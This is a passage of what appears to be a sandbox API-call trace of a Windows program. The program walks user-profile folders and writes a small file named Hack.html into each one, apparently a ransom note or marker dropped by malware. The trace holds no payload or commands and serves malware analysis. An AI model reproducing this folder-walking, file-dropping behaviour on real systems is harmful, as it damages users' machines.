lpOldMode=0x39ecb4) returned 1 [0090.887] CreateFileW (lpFileName="C:\\Users\\All Users\\Templates\\Hack.html" (normalized: "c:\\users\\all users\\templates\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0090.887] GetFileType (hFile=0x174) returned 0x1 [0090.887] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecb0) returned 1 [0090.887] GetFileType (hFile=0x174) returned 0x1 [0090.887] WriteFile (in: hFile=0x174, lpBuffer=0x2872620*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ed30, lpOverlapped=0x0 | out: lpBuffer=0x2872620*, lpNumberOfBytesWritten=0x39ed30*=0xba, lpOverlapped=0x0) returned 1 [0090.888] CloseHandle (hObject=0x174) returned 1 [0090.888] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e7f4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Hack.html", lpFilePart=0x0) returned 0x1c [0090.888] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ece8) returned 1 [0090.888] CreateFileW (lpFileName="C:\\Users\\All Users\\Hack.html" (normalized: "c:\\users\\all users\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0090.889] GetFileType (hFile=0x174) returned 0x1 [0090.889] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ece4) returned 1 [0090.889] GetFileType (hFile=0x174) returned 0x1 [0090.889] WriteFile (in: hFile=0x174, lpBuffer=0x2874d98*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ed64, lpOverlapped=0x0 | out: lpBuffer=0x2874d98*, lpNumberOfBytesWritten=0x39ed64*=0xba, lpOverlapped=0x0) returned 1 [0090.890] CloseHandle (hObject=0x174) returned 1 [0090.890] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edf8) returned 1 [0090.890] GetFullPathNameW (in: lpFileName="C:\\Users\\Default", nBufferLength=0x105, lpBuffer=0x39e900, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default", lpFilePart=0x0) returned 0x10 [0090.890] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\", nBufferLength=0x105, lpBuffer=0x39e8d4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\", lpFilePart=0x0) returned 0x11 [0090.890] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\*", lpFindFileData=0x39eb20 | out: lpFindFileData=0x39eb20) returned 0x59a4e8 [0090.890] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0090.891] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0090.891] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0090.891] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0090.891] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0090.891] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0090.891] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0090.891] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0090.892] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0090.892] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0090.892] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0090.892] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0090.892] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0090.892] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0090.893] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0090.893] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0090.893] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0090.893] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0090.893] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0090.893] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0090.893] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0090.893] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0090.894] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0090.894] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0090.894] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0090.894] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0090.894] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0090.894] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0090.895] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0090.895] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0090.895] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0090.895] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 0 [0090.895] FindClose (in: hFindFile=0x59a4e8 | out: hFindFile=0x59a4e8) returned 1 [0090.895] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39edb8) returned 1 [0090.895] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39edc4) returned 1 [0090.895] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edf8) returned 1 [0090.895] GetFullPathNameW (in: lpFileName="C:\\Users\\Default", nBufferLength=0x105, lpBuffer=0x39e900, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default", lpFilePart=0x0) returned 0x10 [0090.895] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\", nBufferLength=0x105, lpBuffer=0x39e8d4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\", lpFilePart=0x0) returned 0x11 [0090.895] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\*", lpFindFileData=0x39eb20 | out: lpFindFileData=0x39eb20) returned 0x59a4e8 [0090.896] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0090.896] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0090.896] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0090.896] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0090.896] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0090.896] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0090.896] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0090.896] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0090.897] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0090.897] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0090.897] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0090.897] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0090.897] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0090.897] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0090.897] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0090.897] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0090.897] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0090.897] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0090.898] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0090.898] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0090.898] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0090.898] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0090.898] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0090.898] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0090.898] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0090.898] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0090.899] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0090.899] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0090.899] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0090.899] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0090.899] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0090.899] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 0 [0090.899] FindClose (in: hFindFile=0x59a4e8 | out: hFindFile=0x59a4e8) returned 1 [0090.899] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39edb8) returned 1 [0090.899] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39edc4) returned 1 [0090.899] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edc4) returned 1 [0090.899] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData", nBufferLength=0x105, lpBuffer=0x39e8cc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData", lpFilePart=0x0) returned 0x18 [0090.899] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\", nBufferLength=0x105, lpBuffer=0x39e8a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\", lpFilePart=0x0) returned 0x19 [0090.899] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\*", lpFindFileData=0x39eaec | out: lpFindFileData=0x39eaec) returned 0x59a4e8 [0090.900] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0090.900] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0090.900] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0090.900] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0090.901] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 0 [0090.901] FindClose (in: hFindFile=0x59a4e8 | out: hFindFile=0x59a4e8) returned 1 [0090.901] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed84) returned 1 [0090.901] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed90) returned 1 [0090.901] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edc4) returned 1 [0090.901] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData", nBufferLength=0x105, lpBuffer=0x39e8cc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData", lpFilePart=0x0) returned 0x18 [0090.901] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\", nBufferLength=0x105, lpBuffer=0x39e8a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\", lpFilePart=0x0) returned 0x19 [0090.901] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\*", lpFindFileData=0x39eaec | out: lpFindFileData=0x39eaec) returned 0x59a4e8 [0090.901] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0090.901] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0090.901] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0090.901] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0090.902] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 0 [0090.902] FindClose (in: hFindFile=0x59a4e8 | out: hFindFile=0x59a4e8) returned 1 [0090.902] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed84) returned 1 [0090.902] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed90) returned 1 [0090.902] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed90) returned 1 [0090.902] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local", nBufferLength=0x105, lpBuffer=0x39e898, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local", lpFilePart=0x0) returned 0x1e [0090.902] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\", nBufferLength=0x105, lpBuffer=0x39e86c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\", lpFilePart=0x0) returned 0x1f [0090.902] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\*", lpFindFileData=0x39eab8 | out: lpFindFileData=0x39eab8) returned 0x59a4e8 [0090.903] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0090.903] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0090.903] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0090.903] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0090.903] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0090.903] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0090.903] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0090.904] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 0 [0090.904] FindClose (in: hFindFile=0x59a4e8 | out: hFindFile=0x59a4e8) returned 1 [0090.904] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed50) returned 1 [0090.904] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed5c) returned 1 [0090.904] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed90) returned 1 [0090.904] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local", nBufferLength=0x105, lpBuffer=0x39e898, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local", lpFilePart=0x0) returned 0x1e [0090.904] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\", nBufferLength=0x105, lpBuffer=0x39e86c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\", lpFilePart=0x0) returned 0x1f [0090.905] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\*", lpFindFileData=0x39eab8 | out: lpFindFileData=0x39eab8) returned 0x59a4e8 [0090.905] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0090.906] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0090.906] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0090.906] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0090.906] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0090.906] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0090.906] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0090.906] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 0 [0090.906] FindClose (in: hFindFile=0x59a4e8 | out: hFindFile=0x59a4e8) returned 1 [0090.907] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed50) returned 1 [0090.907] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed5c) returned 1 [0090.907] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed5c) returned 1 [0090.907] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Application Data", nBufferLength=0x105, lpBuffer=0x39e864, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Application Data", lpFilePart=0x0) returned 0x2f [0090.907] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Application Data\\", nBufferLength=0x105, lpBuffer=0x39e838, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Application Data\\", lpFilePart=0x0) returned 0x30 [0090.908] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Application Data\\*", lpFindFileData=0x39ea84 | out: lpFindFileData=0x39ea84) returned 0xffffffff [0090.911] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed20) returned 1 [0090.912] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Application Data\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e758, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Application Data\\Hack.html", lpFilePart=0x0) returned 0x39 [0090.912] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec4c) returned 1 [0090.912] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Application Data\\Hack.html" (normalized: "c:\\users\\default\\appdata\\local\\application data\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0090.914] GetFileType (hFile=0x174) returned 0x1 [0090.914] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec48) returned 1 [0090.914] GetFileType (hFile=0x174) returned 0x1 [0090.914] WriteFile (in: hFile=0x174, lpBuffer=0x2880820*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ecc8, lpOverlapped=0x0 | out: lpBuffer=0x2880820*, lpNumberOfBytesWritten=0x39ecc8*=0xba, lpOverlapped=0x0) returned 1 [0090.915] CloseHandle (hObject=0x174) returned 1 [0090.915] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed5c) returned 1 [0090.915] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\History", nBufferLength=0x105, lpBuffer=0x39e864, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\History", lpFilePart=0x0) returned 0x26 [0090.915] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\History\\", nBufferLength=0x105, lpBuffer=0x39e838, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\History\\", lpFilePart=0x0) returned 0x27 [0090.916] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\History\\*", lpFindFileData=0x39ea84 | out: lpFindFileData=0x39ea84) returned 0xffffffff [0090.916] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed20) returned 1 [0090.917] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\History\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e758, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\History\\Hack.html", lpFilePart=0x0) returned 0x30 [0090.917] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec4c) returned 1 [0090.917] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\History\\Hack.html" (normalized: "c:\\users\\default\\appdata\\local\\history\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0090.920] GetFileType (hFile=0x174) returned 0x1 [0090.920] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec48) returned 1 [0090.920] GetFileType (hFile=0x174) returned 0x1 [0090.920] WriteFile (in: hFile=0x174, lpBuffer=0x2883b68*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ecc8, lpOverlapped=0x0 | out: lpBuffer=0x2883b68*, lpNumberOfBytesWritten=0x39ecc8*=0xba, lpOverlapped=0x0) returned 1 [0090.921] CloseHandle (hObject=0x174) returned 1 [0090.921] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed5c) returned 1 [0090.921] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft", nBufferLength=0x105, lpBuffer=0x39e864, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft", lpFilePart=0x0) returned 0x28 [0090.921] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\", nBufferLength=0x105, lpBuffer=0x39e838, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\", lpFilePart=0x0) returned 0x29 [0090.921] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\*", lpFindFileData=0x39ea84 | out: lpFindFileData=0x39ea84) returned 0x59a4e8 [0090.922] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0090.922] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0090.922] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0090.922] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0090.922] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0090.922] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0090.922] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0090.922] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0090.923] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0090.923] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0090.923] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 0 [0090.923] FindClose (in: hFindFile=0x59a4e8 | out: hFindFile=0x59a4e8) returned 1 [0090.923] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed1c) returned 1 [0090.923] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed28) returned 1 [0090.923] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed5c) returned 1 [0090.923] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft", nBufferLength=0x105, lpBuffer=0x39e864, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft", lpFilePart=0x0) returned 0x28 [0090.923] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\", nBufferLength=0x105, lpBuffer=0x39e838, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\", lpFilePart=0x0) returned 0x29 [0090.923] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\*", lpFindFileData=0x39ea84 | out: lpFindFileData=0x39ea84) returned 0x59a4e8 [0090.923] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0090.924] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0090.924] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0090.924] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0090.924] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0090.924] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0090.924] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0090.924] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0090.924] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0090.924] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0090.925] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39ea94 | 